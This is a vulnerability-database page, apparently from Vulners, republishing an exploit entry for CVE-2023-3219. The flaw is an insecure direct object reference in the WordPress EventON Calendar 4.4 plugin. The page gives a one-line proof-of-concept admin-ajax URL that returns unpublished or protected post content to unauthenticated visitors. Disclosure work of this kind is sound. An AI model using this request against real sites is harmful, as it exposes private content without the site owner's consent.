Vulners
Lucene search
WordPress EventON Calendar 4.4 Insecure Direct Object Reference
🗓️ 04 Aug 2023 00:00:00Reported by Miguel SantarenoType 
packetstorm🔗 packetstormsecurity.com👁 159 Views
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
 | Wordpress EventON Calendar 4.4 Plugin - Unauthenticated Post Access via IDOR Vulnerability | 4 Aug 202300:00 | – | zdt |
 | WordPress plugin EventON 安全漏洞 | 10 Jul 202300:00 | – | cnnvd |
 | CVE-2023-3219 | 10 Jul 202312:41 | – | cve |
 | CVE-2023-3219 EventON < 2.1.2 - Unauthenticated Post Access via IDOR | 10 Jul 202312:41 | – | cvelist |
 | Wordpress Plugin EventON Calendar 4.4 - Unauthenticated Post Access via IDOR | 4 Aug 202300:00 | – | exploitdb |
 | EventON Lite < 2.1.2 - Arbitrary File Download | 5 Jun 202603:02 | – | nuclei |
 | CVE-2023-3219 | 10 Jul 202316:15 | – | nvd |
 | WordPress EventON Plugin < 2.1.2 is vulnerable to Insecure Direct Object References (IDOR) | 22 Jun 202300:00 | – | patchstack |
 | Code injection | 10 Jul 202316:15 | – | prion |
 | PT-2023-6980 · WordPress · Eventon | 19 Jun 202300:00 | – | ptsecurity |
10
`# Exploit Title: Wordpress Plugin EventON Calendar 4.4 - Unauthenticated Post Access via IDOR
# Date: 03.08.2023
# Exploit Author: Miguel Santareno
# Vendor Homepage: https://www.myeventon.com/
# Version: 4.4
# Tested on: Google and Firefox latest version
# CVE : CVE-2023-3219
# 1. Description
The plugin does not validate that the event_id parameter in its eventon_ics_download ajax action is a valid Event, allowing unauthenticated visitors to access any Post (including unpublished or protected posts) content via the ics export functionality by providing the numeric id of the post.
# 2. Proof of Concept (PoC)
Proof of Concept:
https://example.com/wp-admin/admin-ajax.php?action=eventon_ics_download&event_id=<any post id>
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Aug 2023 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 3.15.3
EPSS0.74017
SSVC